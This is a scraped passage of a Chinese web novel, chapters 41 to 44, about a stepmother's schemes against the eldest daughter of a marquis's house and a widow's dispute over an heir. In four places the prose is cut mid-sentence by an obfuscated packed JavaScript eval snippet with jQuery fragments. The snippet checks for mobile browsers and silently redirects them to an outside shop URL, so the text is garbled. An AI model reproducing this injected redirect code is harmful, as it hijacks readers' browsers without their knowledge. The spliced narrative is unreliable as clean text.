她眼中露出凶狠之色：“若烟霞这丫头没说实话，定要叫这小蹄子好看。” 高妈妈当即打包票：“夫人放心，这回若是烟霞还敢欺瞒主子，老奴定要扒了她的皮！” 庄夫人这才满意颔首，随即想到一事，道：“上回说顾姝病了，如今可好了？” 高妈妈忙道：“还不曾。方才烟云提了一嘴，大姑娘娘如今还未好全呢。” 庄夫人嘴角泛起一丝冷笑：“病了这么些时日都没好，想来是身边的人伺候地不精心。这么着，你再派个老成些的妈妈过去。不然，只有烟云一个，怕是管不住那些个小蹄子。” 这便是要再安插个人过去了。高妈妈当即应下，脑中盘算着该派谁去。 却说瑞萱堂里，自陈姨娘探望了一回，顾姝终是打起了精神，好生休养。她这病原也是心病居多，自已想清楚了，也是一日日好起来了。 这日，原想趁天色好，去院子里走走，却听丫环来报：“高妈妈来了。” 只见高妈妈领着个人进来，见着顾姝，微微行一礼，方道：“大姑娘，因着前次的事，侯爷夫人都极是担心你。夫人说了，如今瑞萱堂里的丫头年纪都不大，没个掌事的，不成样子。故而夫人安排了个妈妈过来，也替你看着这些小丫头，省得她们不服管教！” 她如今志得意满。顾姝跟高家的婚事退了之后，侯爷也就发了一场气，就不再追究此事。以后顾姝的婚事，便是捏在了夫人手里，她又有个恶疾的名声，能嫁到什么好人家，高妈妈再无忧心之处，对着顾姝，虽然面上还客气，实则已不再将她放在眼里。语气里便带上了几分的倨傲。 一番话说完，她身后便立时站出了一人，恭恭敬敬朝顾姝行了个礼：“见过大姑娘！” 竟然是樊妈妈。 顾姝心脏猛得一跳，脸色登时就变了。 她随即意识自已反应不对，索性沉下脸来，冷声道：“高妈妈这是什么意思？好好儿的，给我这院子派什么管事妈妈？你告诉夫人，不需要。叫她回去罢！” 樊妈妈一听这话，马上扭头看向高妈妈，面露为难之色。 高妈妈的嘴角微不可察地撇了一下，笑道：“大姑娘，这是夫人的安排，也是为着你好。你莫要任性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000112|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不体贴长辈们的好意。” 顾姝听了这话，面色依旧阴沉，只是咬着嘴唇，不发一言。 高妈妈心中大为畅快。 前回因着要追查顾姝背后之人的事情，她问了看园子的樊婆子几句话。谁知道这老婆子倒是个会随杆上的，之后便巴结上了她。三五不时便送些孝敬给她，又百般拍她马屁，想托她给自己换个好位子。 她自然不会轻易答应，暗中也查了这樊婆子，她倒也是前头周氏在时买进来的，只是却不是经的周氏的手。且进府之后，一直照看花木，顺道在园子里做做杂活。 平日里与她经常来往的也都是些粗使杂役，大管事们是全无来往的。也难怪，自己问了她几句话，便叫她粘了上来。怕是难得能抱根大腿，可不得紧巴结着。 恰好庄夫人也需要在顾姝房里安个眼线，放了一个新烟云犹不放心，还要再放个管事妈妈。因着看顾姝实在不是什么好差事，前头那个烟云的一家子都折了进去。高妈妈自恃自己与庄夫人关系亲厚，自己必然不会有事，却不想再将自己几个得用的下属接这差事。因樊婆子会巴结，便将她推了出来。 如今见顾姝冷着脸，高妈妈心中更觉得意，对樊妈妈道：“你就留这儿吧，以后，大姑娘院子里的事，便都交给你操心了。我先回去了。” 说罢，昂首挺胸走了。 顾姝脸色阴沉，显是气得狠了。烟云烟霞两个大丫环垂首屏声，皆不敢出声。 樊妈妈却是一副有恃无恐的模样，见高妈妈走了，这才笑着朝顾姝行了一礼，道：“大姑娘，以后这瑞萱堂的一应起居事体，便由老婆子照应了。若有什么不周到的地方，还请大姑娘见谅。” 顾姝冷冷扫了她一眼，并不答话，转身回了内室。 将樊妈妈安排到瑞萱堂是小事，在庄夫人与高妈妈眼里，还是盘一盘周管事的底细要紧。 这一回，却真叫高妈妈查出一桩旧事出来。 “你是说，当年，陈氏跟罗四有的儿子，罗平定过亲？”庄夫人有些难以置信。 41. 第 41 章 庄夫人万万不曾想到，陈姨娘竟然还曾跟罗平议过亲。 陈姨娘是爬了顾世衡的床，才得了这个姨娘之位的，那跟罗平的亲事又是怎么回事？ 庄夫人不由追问了一句：“这事你听谁说的？可能当真？” 高妈妈斩钉截铁道：“千真万确，若非确实无误，我又岂敢到夫人跟前乱说？这是我问过侯爷原先院子里的张妈妈，她亲口告诉我的。我又问了府中其他几位老人，都说有这事儿。” 她又顺势给自己表了一功：“罗四有在府里的时间长，我特意跟到庄子里，跟几个荣养了的老人聊了几日，才知道这个消息。” 庄夫人阴沉着脸，思忖半晌，终于发话：“把陈氏叫过来。” 待听到庄夫人问她“你可是跟罗四有的儿子，罗平定过亲”时，陈姨娘的脸色登时变了。 随即便吱吱唔唔道：“夫人，我是侯爷的妾室，可不能拿这事情乱说的！” 庄夫人冷笑一声：“你且说，这事倒底是不是真的！” 陈姨娘便还是吱唔，却也不敢完全否认。 庄夫人心里便有了底，缓了语气：“你也莫怕。只是问你些旧事罢了。再者，你也说了，你如今是侯爷的人，这些不过是些陈年旧事，没有什么打紧。” 陈姨娘这才低了头，低不可闻地应了声：“是。” 庄夫人点点头，又问：“那你是为何会与罗家定亲？” 陈姨娘头垂得更低，讷讷道：“是，是前头夫人做主定的这门亲事。” “那怎的亲事又没成？” 这话却是有些明知故问了。自然是因为陈姨娘不乐意这门亲事，攀附高枝了。 庄夫人早算过陈姨娘爬床的时间，已是自已已与夫君结识之后的事情。那时候，自己与侯爷，已是两情相悦。这贱婢却敢勾引侯爷，实在是庄夫人心头一根尖刺。 只是她出身寒微，能嫁入侯府，虽是继室，也是高攀了的，平日里并不也拿此事跟顾世衡计较，但心里，对陈姨娘实是厌恶之极。既逮到机会，自然要刺上一刺。 果然，陈姨娘头垂得更低，并不敢回话。 庄夫人冷笑一声，心底舒服许多，这才又和颜悦色道：“罢了，都过去的事情了。也不提了，我再问你，罗家的事情，你知道多少？” 陈姨娘声如蚊蚋：“妾，妾虽说是与他家定过亲，可是这事，全是夫人一手操办，对罗家的事，妾知道的，实在也不多。” 庄夫人便道：“无妨，多少也该知道一些的，你只将你知道的说出来即可。” 陈姨娘却依旧吱吱唔唔不敢答话。 庄夫人不耐烦起来：“不过是见你在府里也是老人了，所以问你些前事罢了。 你若老老实实回答，自有你的好处。你要是再推三阻四，不肯老实，哼，且想想你家三姑娘的前程罢！” 陈姨娘猛然抬头：“夫人，若我说实话，您，您可能给三姑娘寻门好亲事？” 庄夫人神色冷厉，轻嗤一声：“这就要看你老实不老实了。” 陈姨娘当即不再犹豫，赶紧跪下磕了个头，才起身道：“夫人，非是妾身不肯回您，实在是，妾身知道的也不多。” 庄夫人不耐道：“捡你知道的说！” 陈姨娘赶紧道：“是。” 说罢，她皱眉思索片刻，方缓缓道：“夫人知道，罗管事家的娘子也姓周。前头夫人进门之后，因是同姓，周妈妈在先头夫人跟前便很是巴结。那时候夫人也颇为器重她。也是因为这个，先夫人才说要把妾说给她家二儿子。” 庄夫人点点头。有些事，果然还是要问这些周氏身边的老人才行。譬如这事，她从前竟是一点不知。 陈姨娘继续道：“只是，奴婢并不愿意嫁到罗家。恰好，侯爷那时候叫奴婢伺候，于是，于是……” 庄夫人冷冷扫了陈姨娘一眼。 陈姨娘将此事含糊了过去：“妾成了侯爷的人，先夫人很是生气，罚了妾身之后，自那以后便不再搭理妾。只是，大约是觉得对不住罗家，所以先夫人对罗家人倒是多有补偿，不但给罗平放了身契，叫他在外头做了良民，还叫罗四有的大儿子，罗贵，提做了看管库房的管事。” “什么？”庄夫人不由一惊。 库房管事是罗贵她是知道的。但她不知道，竟然是周氏安排罗贵看管库房的。 那她这些年从周氏库房里挪用的那些东西…… 庄氏只觉背后已是出了一身冷汗。她定了定神，又去问陈姨娘：“那罗家，是个什么态度？” 陈姨娘撇撇嘴：“罗家还能怎么说？他们一家子，向来会巴结先头夫人。先夫人对他们这样照顾，他们自然只会念着先夫人的好呢。罗管事那时候可没少跟旁人说夫人的好话。” 她随即道：“夫人，妾知道的不多，实在也就只有这些了。” 庄夫人心烦意乱，也不耐烦再跟她掰扯下去，挥挥手，叫她退下。 陈姨娘走了，庄夫人这才问高妈妈：“陈氏说的话，你如何看？” 高妈妈斩钉截铁道：“罗家，得好好查。”便从陈姨娘这些话里，便看得出，罗家虽是侯府下仆，可与先周夫人竟是关系匪浅。 庄夫人亦有此感：“罗家在府里待了这么些年，要不是陈氏说起来，谁能想到，罗家竟跟那周氏有这样深的关系？” 她随即吩咐道：“你去好好查查罗家这一家子人。罗四有，罗贵，周婆子，还有那个在外头的罗平，都不要放过。” 不知是罗家人会掩饰，还是怎的，倒不曾查出罗家人跟顾姝平日里有多少来往。只是这个管库房的罗贵，却不是甚么老实人。就他管库房这些年，便是替换了不少东西出来。 譬如库房里账册上有个三尺多高的前朝钧窑花瓶，实物却不过是个寻常窑场所出花瓶。还有库中账册上有个“赤金螭足香炉”，库中实物却是个金包铜香炉而已。而原物竟是在罗家搜到了，原是还没有来得及卖出去。 人赃并获，罗家再无可分辩，除去那个脱籍了的罗平，一家子都被抓了起来审问。 只是那周娘子嘴硬，只认下自家贪墨之事，对于那晚救顾姝之事却是始终不肯承认。 高妈妈听了也不过是呵呵冷笑两声：“倒是个嘴硬的！”当即吩咐上重刑。 她之前差事办砸了，如今亟待立功，这一回，无论如何，要把周娘子的嘴给撬开。 那周娘子养尊处优几十年，果然是熬不过。用了重刑之后，便是问什么都认了下来。高妈妈这才满意，将口供报了上去。 只她却不知道，早先她一步，顾安全已将这消息报给了顾世衡。 翻看着手里的口供，顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005641|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世衡面色阴沉：“大丫头背后那人，确实便是周氏了？” 顾安全斟酌道：“如今看来，怕是没有错了。” 说实话，这个人竟是罗四有的媳妇，这一点连顾安全也大感意外。但正因众人皆未想到这么个人，反而更为可信。 顾世衡冷笑一声：“倒没有想到，竟还漏了这么一家子人！藏得可真是深！” 顾安全看事情倒周全些，此时便道：“按我私下里查的情况来看，这周氏，从前跟大姑娘是没有过丝毫往来的。罗家，也未必就真与夫人有什么牵扯。当日之事，可能就是凑巧罢了。” 顾世衡稍觉放心。想来周氏也没有那本事，能在府里安插个人手，还十几年不叫他发现。 这周婆子约摸就是亲近周氏，恰逢当日顾姝有难，便出手帮了一把。 他摆摆手：“无论是凑巧还是有意，这一家子人是留不得了。”他想了想，厌烦道：“打发得远远儿的罢！” 顾安全恭身应是。 却不想第二日，罗家一家子要被发卖的消息传遍府中之后，顾姝便过来寻顾世衡求情：“父亲，虽说罗贵贪没库藏，着实可恨。可毕竟罗家也是在顾家做了几十年的老人了。将他们逐出家门便是，阖家发卖，是否有些严苛了？” 顾世衡如今对这个女儿已不耐烦应付，不过是勉强克制着脾气罢了，遂淡淡道：“这些内务，都是你母亲在操持，想来她自有分寸。你一个未出阁的姑娘家，管这些事情做什么？” 顾姝神情黯然，道：“女儿是想着，罗家也是府中的老人了，上上下下一大家子，如今被发卖出去，着实可怜……” 顾世衡皱眉道：“既是府中老人，府中这些年又对他们多有器重，本就该更忠心侍主才是。可他们却是不顾府中恩义，做出这样背主之事。若是姑息，岂不是叫其他人有样学样？此事你莫要再管了。” 顾姝张张嘴，终是道：“父亲，其实，当日女儿从井中出来，便是周妈妈同烟霞一起将女儿拉出来的。” 顾世衡神色严肃：“竟有此事？为何你先前怎么不跟我说起此事？” 顾姝低头道：“那晚周妈妈将女儿拉出来后，便恳求女儿不要将她说出来。女儿既已答应她，岂能毁诺？” 顾世衡神色缓和，长叹了一口气，言辞谆谆：“那周氏，本就是府中下人，你作为主子有难，她救你，乃是本分。而她不守规矩，贪墨府中钱款，是另外的事体。两件事，本就不能混为一谈。既是救你有功，罢了，我跟你母亲说一声，叫她留心些，给罗家人找户好人家，莫要将他们发卖到那矿场盐场那些苦去处也就是。” 但说来说去，还是要发卖。 顾姝看着自已的父亲，终不再开口，行礼退下。 出了正院，顾姝看着高墙古树遮蔽住的天空，心中只觉一片悲凉。 即使知道父亲偏袒继母，她犹是不敢相信，自己的亲生父亲对自己，竟然没有半分父女之情。 可是今日之试探，将她心中最后一丝幻想也打碎了。 难怪继母当日敢那么大胆，谋害自已。她是不是早就知道父亲对自已的态度了？ 太阳明晃晃挂在天上，只那阳光照上身上，叫人感觉不到一丝温暖。 顾姝伸手挡在额前，似是被强光刺到眼睛，不易察觉地将眼角渗出的眼泪拭去。 42. 第 42 章 贺家。 贺太太双眼无神，怔怔看着前方。 自听说贺仲珩果然命丧异国他乡，且连尸骨都不曾寻回，只带回一些他的遗物时，贺太太便晕厥了过去。 待悠悠醒转，想起儿子，再止不住泪水。到了如今，已是连泪水都没有了。 徐正阳与叶氏皆围在她身前，对视一眼，皆是心中难受。先后丧夫丧父丧子，妹妹这命，着实也太苦了些。 只是外甥不在了，妹子的日子还得过下去。徐正阳也只能打起精神安慰贺太太：“仲珩虽不在了，可是你也得保重自己的身子才是，若仲珩泉下有知，见你这样子，不知要多难过！” 贺太太喃喃道：“一家子只剩我一个，我活着还有什么意思……” 徐正阳见妹妹这心如死灰的模样，亦是心痛如绞。这时，还是叶氏道：“妹妹，你在，妹夫跟仲珩在地下便能有一份香火。若是你也不在了，又有谁能给他们上香祭扫？再者，仲珩的身后事，还需得你来操办才是！” 想到儿子的身后事，贺太太终于有了些精神：“是，是。我儿连尸骨都没有寻到，我不能再叫他走得这般凄惶！” 却又想到一个要紧事：“仲珩走的这样早，还没有成亲生子，如今竟连个摔盆的都没有！”说罢又是泪如雨下。 徐正阳叹气，道：“想来这两天贺家族里也该来人了，到时候跟他们商量一番，看由谁捧盆便是。” 不过两日，贺族长果然又来了，这番来的还有族中几个长辈。年龄最大的，连贺太太都要唤他一声七叔，族人皆唤一声七公。 贺太太是官家，贺七叔辈份再高，也只是平民，故而说话间也很客气，先跟贺太太道了恼，才提起丧仪一事：“珩哥儿如今也没个香火，捧盆的孝子，你是如何打算的？” 先前贺太太尚存一丝期望，还盼着儿子回来，再者又有大哥相劝，故而不愿意再立嗣子。 只是如今确定了儿子命丧他乡，尸骨无存。贺太太已是再无他念，只想让儿子走得安心，至于自已如何，倒是放在其次了。再怎么样，不能叫儿子入土时，连个丧仪都办不齐整。 贺太太一想到儿子，便心痛如绞。她强忍悲意道：“先前三哥说过要给珩哥儿过继个孩子。那时候仲珩还没有消息，所以不曾定下来，如今，不若就按三哥说的，给珩哥过继个儿子罢。” 贺族长与贺七公互视一眼，贺七叔便点头道：“既是如此，对过继的人选，你有什么看法没有？” 贺太太想到贺族长那大孙子，心中便是不喜，此时便拒绝道：“三哥倒是说过，将他家孙子过继给我，只是我想着，侄子侄媳妇都还在，却不好夺了人家的骨肉，叫人家母子分离。我是想着，看谁家有没有那孤儿，过继过来。” 贺七公便说她：“侄媳妇糊涂啊。旁人过继个孤儿，是为着不叫嗣子的家人烦扰，好把孩子养熟，这也没有错。只是你家又不一样，你家就你一个妇人，门户都支撑不起来。过继个自家人，有个事，也有人搭把手，岂不比过继个四不挨的强？” “再者”，贺七公又道：“老三家的孩子也大，七八岁了，很能顶得住事了。捧盆哭灵这些事安排他做，都能做得。要是过继个咿吖小儿，话都听不懂，又如何指望他给珩哥儿服丧带孝？” 这话却是在理，贺太太便是想过继个年龄小些的，盼着自己能养熟，可是又挂念儿子的丧事，实在不舍得叫儿子的丧事都办不好，叫儿子走得不安心。 一时之间，她实是难以决断，不免又跟自己娘家哥嫂商量。 “绝对不可！” 徐正阳斩钉截铁道，“绝不可过继贺延年家的孩子！” 他如今极是厌恶贺族长，便直呼其名道：“那家子人，心术不正。过继他家孩子，无异于引狼入室。只怕孩子一来，他那家子便也一起过来了，到时候，这是你家，还是他家！” 有了大哥支持，贺太太自已亦是不喜贺保柱那孩子，便委婉说了，想再看看族中其他孩子。贺族长脸色当即便不好起来，只说过几日再找些合适的。 只是过了几日，却是一直没有消息，而贺仲珩的丧事却要准备办了。贺太太急得不急，使人催了几次贺族长，贺族长只道，没有合适的孩子，怕是不能给贺仲珩摔盆了。 这竟是要借贺仲珩的丧礼，拿捏起贺太太了。 贺太太也不是那好性子由着人拿捏的，当即便问了自家大哥：“倘若贺氏族中，没有人给仲珩摔盆，不知道立仁，立声两个，可愿意替仲珩这个哥哥捧盆？” 徐正阳还未说话，叶氏便答道：“有什么不肯的。仲珩是为国捐躯，他俩做弟弟的，为哥哥做这么些个小事，又算得什么！” 孝子自然是子侄辈为好，可是也不是没有那兄弟捧盆的。虽说是外姓，可是贺太太这个做母亲的愿意，叶氏跟贺太太处得好，也是看着贺仲珩长大的，又岂有不愿之理。 她是书香门第，最重风骨。贺家父子两代都是为国尽忠献身，她打心底尊敬，又怎会拒绝。 贺太太得了哥嫂允诺，便是有了底气。又使人传话给贺族长，道是如果找不到合适的人，便叫自家侄子捧盆。 第二日，贺族长便带着他那孙子来了，脸色极是不好看，也不复从前的和气：“弟妹，不是我说你。你一个妇道人家，行事也太没有章法。哪有叫舅家表弟做孝子捧盆的！传出出，叫外人如何看咱们贺家人？” 贺太太脸色淡淡道：“这不是三哥你说族中没有合适的人么。我才不得已叫了娘家兄弟捧盆。” 贺族长一噎，又道：“今日我把保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17010500|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱带来，叫他给珩哥捧盆，只是，也总得有个说法吧？” 贺太太并不肯接他话茬：“保柱肯替他叔做这个孝子，我这个叔祖母定然会好好谢过。” 贺族长面色一沉：“弟妹，你也是贺家媳妇，总要为贺家的香火考虑。珩哥父子两代为国尽忠，你总不能叫他没了香火罢！” 贺太太掩面拭泪：“我现在只想把珩哥的丧事办好，其他的，过后再说罢。” 贺族长无法。他亦是怕贺太太真叫娘家侄子当了孝子，那他以后可再不好拿捏贺太太，也只有先叫贺保柱顶上。 回头，只要他这个族长不点头，贺太太还能过继哪个？ 贺仲珩的丧事终于如常操办起来。因是为了出使外邦殉差，朝廷亦派人致奠嘉奖。 贺太太每每念及儿子连尸骨都不能找到，如今只能立个衣冠冢，便心痛不能自己已，在灵前几乎又要哭晕过去。 只是亲戚或余悲，他人亦以歌。贺家这些事，也就贺家前朋自家伤心罢了。旁的人家，亦各有各的事体烦心。 见着罗家人哭哭啼啼被人伢子带走，庄夫人终是长舒了一口气。 心头大刺被拔出，她终于可以安心了。只是到底还是有些犹疑：“唉，这回，不会再有差错了罢？” 高妈妈极力打包票：“夫人，府里上上下下咱们查过几遍了，除了这罗家人，再没有旁的跟那周夫人有关系的。除了他家，还能有谁？再者，你看那罗贵，他偷换的物件，都是府里的，没有一样是先头周夫人的，可见，他心里定是向着那周夫人的。就是那罗家人没跑了。” 庄夫人点点头，叹道：“毕竟有侯爷在，也不好处置太过。” 高妈妈忙道：“侯爷心里最器重的还是夫人，不过是家下人，侯爷如何会放在心上！” 庄夫人恨道：“那周氏，还真是奸滑。自家人不用，偏用了个侯府的老人，也怪道咱们寻了那么长时间，硬是找不到这人！” 高妈妈一拍巴掌：“可不就是！只不过，凭那周氏再狡猾，也逃不过夫人的火眼金睛！你瞧，那罗家人藏得这般隐秘，不还是叫夫人给找出来了？” 庄夫人含笑，只觉得神清气爽。如今将顾姝背后那人寻了出来，她终是放下心来。 “那丫头如今做什么？” “大姑娘此前还找过侯爷，给罗家求情呢！只侯爷说他家私盗府库财物，实在可恶，不曾允了姑娘。若是没有关系，大姑娘凭什么为罗家跟侯爷求情？” 说罢，高妈妈补了一句：“听烟雨说，大姑娘这两日心情都不好呢。倒底是年纪轻，藏不住事。” 庄夫人心情更好，笑道：“此事也算是了结了。大姑娘年龄大了，也该给大姑娘寻门好亲事了。” “夫人说得是，正该如此。” 43. 第 43 章 随着罗四有周管事一家被发卖，庄夫人与顾世衡，都觉得是拔出府中暗藏的钉刺，心中为之大定。 只有陈姨娘，觉得满心畅快，积压心中的一股郁气，至此终于消解一二。 因近来事多而终日翳翳的面庞上，也终于显露出几分松快：“这一家子蛇虫鼠窝，可算是遭报应了。” 陈姨娘与罗家的纠葛，顾婕是知道的，自然也替她和顾姝高兴：“夫人既已将罗家当作暗中相助大姐姐之人，如今处置了罗家，想来后面便会消停。姨娘此后再不需为此烦心了。” 陈姨娘叹了口气：“那可不是。庄夫人是最自以为聪明的一个人。如今叫她费尽心思寻到周管事这个人，这事儿便算是了结了。” 提起庄夫人，两个人都沉默了下来。 庄夫人这阵子在府中可谓颐指气使，得意非凡。原先她趁顾侯不在，谋害顾姝，府中下人都当侯爷回来定要责罚她。可是最后竟只是将烟云一家发卖了出去，庄夫人丝毫未损。 这下，府中上下皆知，在侯爷心里，终究是夫人为重。是以，庄夫人在这定远侯府，可谓走路带风，一呼百诺。 顾婕迟疑道：“姨娘，我实是不明白……” 她不明白，原先顾侯对顾姝也算慈爱，怎么出了事，反而如此偏袒庄夫人。 陈姨娘冷笑一声：“他从来也没有疼爱过你大姐姐，不过是装相罢了。” 可笑自已先前竟也被他骗了过去，以为他尚有几分?犊之心。 顾婕犹自不解：“那有什么好装的？” 顾侯对自已这个庶女的冷漠，可是毫不遮掩的，是以她自小对这个父亲也无多少感情。 而顾侯对顾姝的疼爱，倒也是显露得明明白白。正因为待遇迥异，是以，顾婕从未怀疑过顾姝在顾侯心中的份量。 所以她才对此事分外不解。 顾侯是一家之主，有什么必要对一个孩子装模作样？ 陈姨娘却不肯说了：“问那么多事做什么，等你成亲了出门了，有些事便知道了。” 她想起自已跟庄夫人的约定，冷冷笑了一声：“夫人可是答应了我，要给你找门好亲事呢！” 遂将将当日庄夫人的话说了，又道：“是以那时，我便跟夫人说，旁的不说，只需给你找个好门第的。只要门第好，便是做填房也使得。” 顾婕惊道：“姨娘，你，你也太糊涂了！我可不愿意给人做填房！” 若是依她本心，她宁可不嫁人。只在这府中，她的婚事莫说她自已，便是姨娘也作不得主。这话便也不必说了。可是即使要嫁人，她也不愿意给人作填房。 陈姨娘却道：“你不明白夫人的心性。我若只说找个好人家，她指不定要给你寻个什么高门大户的老头子，叫你嫁过去。只我说了寻个好门第，填房也使得，她是定然不会叫我如意的。” 她短促地笑了一声：“她怎么舍得给你寻个高门大户的亲事，嫁过去，将来压她女儿一头。” 顾婕想想庄夫人的为人，这确实是她能做出来的事。可提到亲事，顾婕又想起顾姝，轻轻道：“只是大姐姐，如今与高家的婚事没了，还不知夫人要给她找个什么样的人家。” 说到此事，陈姨娘面色也沉了下来。 顾姝与高家的婚事未成，不是坏事。可她的将来，也是被庄夫人捏在了手中。想也知道，庄夫人定然不会给顾姝寻什么好亲事。而顾姝有恶疾的名声也传出去了，又能寻到什么样的好亲事？ 自然是有好亲事的，如今庄夫人只发愁，给顾姝寻的亲事，也太好了些。 她听着高妈妈的回报：“这一家是太常寺少卿郑家的嫡次子。门第倒是般配，只是坊间都传言，郑家二郎常常流连南风馆。” 庄夫人点点头。 高妈妈又道：“另一家，便是山东许家。这家在当地也是望族。嫡长子学业平平，便想着寻个高门贵女，能主掌中馈，教养子女。” 她又压低了声音：“这是对外说的，实则，那许家，要在外头娶亲，还有个缘由。听说他先前定了两回亲，女方都是害病去了，故而再不好说亲，这才在外地找的。” 庄夫人倒不信这个。在她看来，这两家，实是各有优劣。 顾姝若是嫁入京中高门，难免要出来走动，到时候若有只言片语说出来，多少会给自己还有顾嫤带来麻烦。远嫁固然暂时没有风险，但是若顾姝孩子丈夫有了出息，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014832|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是后患无穷。 只恨自己有女儿，投鼠忌器，不能随意给顾姝安排个人家。一时之间庄夫人愁得不行。暗恨高家怎么就起来了。若是高家还老老实实呆在川西，到时候将顾姝直接嫁入川西，哪里还会有这些个烦恼。 樊妈妈也在跟顾姝说她的婚事。 她道：“我这阵子跟高妈妈走得近，也从她口中打探到些口风。夫人倒是给大姑娘寻了两门亲事。” 顾姝点点头，她如今已十七岁，高家亲事不成，自然要给她另说亲事了。 听着樊妈妈介绍郑许两家，一家是京中大员，一家是地方望族。虽比不得侯府显赫，可也不算太差。 顾姝心中再次升起一丝希翼。她问樊妈妈：“这两户人家，是夫人寻的，还是父亲给我找的？” 樊妈妈垂下头：“我听高妈妈说，大姑娘的婚事，侯爷全权交由了夫人。这两户人家，亦是是夫人亲自寻的。” 顾姝不再说话，一颗心也慢慢滑到了谷底。 父亲竟将她的婚事交给庄夫人处置。 之前庄夫人为难她，她一直想着，等父亲回来便好了。父亲自会给自己做主。 可是父亲回来了，事情却是与她的想的完全相反。 她的世界，自那晚落井之后，便完全变成了另外一个样子。 她不是没有听过下人们的风言风语，道是大姑娘如今有了个恶疾的名声，再找不到好婆家，是以侯爷便不将这个长女放在心上。 只是她不肯相信。 可时至今日，她再不信，也无济于事。顾姝喃喃道：“莫非，父亲这般行事，是真觉得我这个女儿没有什么用处了么？” 樊妈妈却不知该如何回答。 嗫嚅半天，她才捡起方才的话头：“这两家情况，究竟如何还不知道。我这边，也得托人去打听打听。” 顾姝淡淡一笑：“也是，那劳烦妈妈了。” 以庄夫人的为人，又岂会给她寻什么好亲事。 正在这时，听到院子里传来脚步声，两人皆住了口。待人进了屋，却是烟霞。 烟霞见屋里并无旁人，便先朝顾姝行了礼，这才走到樊妈妈身边，亲热道：“姨母……” 44. 第 44 章 烟霞这一声“姨母”，唬得樊妈妈几乎要跳起来。她忙不迭去捂烟霞的嘴：“你这丫头，怎么乱喊乱叫的！” 烟霞却不怕，推开樊妈妈的手，笑道：“屋子里又没有外人。烟云这会子在夫人院子里，烟雨在外头跟看门的姚婆子说话。姨妈不用担心！” 樊妈妈嗔道：“这大宅门里，到处都是耳朵，你这也实在太莽撞了。以后在府里，可不敢这么叫了。” 见樊妈妈神色郑重，烟霞这才点点头，重唤了一声：“樊妈妈……” 樊妈妈这才应了，到底怜爱地摸了摸烟霞的头。 烟霞便冲她甜甜一笑。 便是顾姝满腹心事，见她二人这般亲昵，也不由露出一丝笑意。 樊妈妈与烟霞本就是嫡亲的姨甥。只这层关系，阖府上下，也就陈姨娘与顾姝顾婕知道罢了。 樊妈妈本就是京畿人士，她与妹妹两个人都是命苦的。她自己是遇上个烂赌鬼丈夫，因赌输无钱，便要被丈夫发卖抵债。 她妹妹则是生产之时，一尸两命，只撇下个五六岁的女儿。 她那妹夫，因着没了婆娘，也没个儿子续香火，便想着再娶房妻室。奈何银钱不足，便想着把女儿卖了，换些彩礼好娶媳妇。 也幸好烟霞那时已有七八岁，很知道些是非轻重，知道爹爹要把自己卖了，便在樊妈妈上门探望之时哭着将此事说了。 而此时周夫人早已过世。樊妈妈无法，只有求陈姨娘帮忙。陈姨娘便寻了刘鲤，让何家将烟霞买了去，暂时养着。后来顾家要买人，便将烟霞卖到了顾家去。烟霞也是个脑子灵活的，平日里做活勤快，嘴皮子也会说。一来二去的，便调到了顾姝处，改了名字叫作烟霞。至于她原本的来处，竟是无人知晓了。 樊妈妈调到瑞萱堂，烟霞才是那个最高兴的。无人之时，便与樊妈妈十分亲昵。 顾姝笑着看她姨甥二人对话，待烟霞倒了茶上来，才喝了一口，又说起方才提到的郑许两家，道：“妈妈，倒也不必十分担心。你先去打听郑许两家。想来，有父亲在，母亲终究也不也做得太过。” 这话，放在从前，她自然深信不疑。可是如今，连她自己说出来，都觉得底气不足。 樊妈妈也挤出个笑脸：“姑娘说得是。再者，夫人还给姑娘留了银钱。姑娘手里有钱，又有咱们几个帮衬，实不必为将来烦忧。” 如今，也只能盼着顾姝说得对，顾世衡念及父女之情，能压着庄夫人，给顾姝寻门好亲事。 …… “其实，寻一门亲事，倒不失为解决眼前困局的法子。” 徐家，看着愁眉不展的徐太太，徐太太的母亲杨氏，缓缓道。 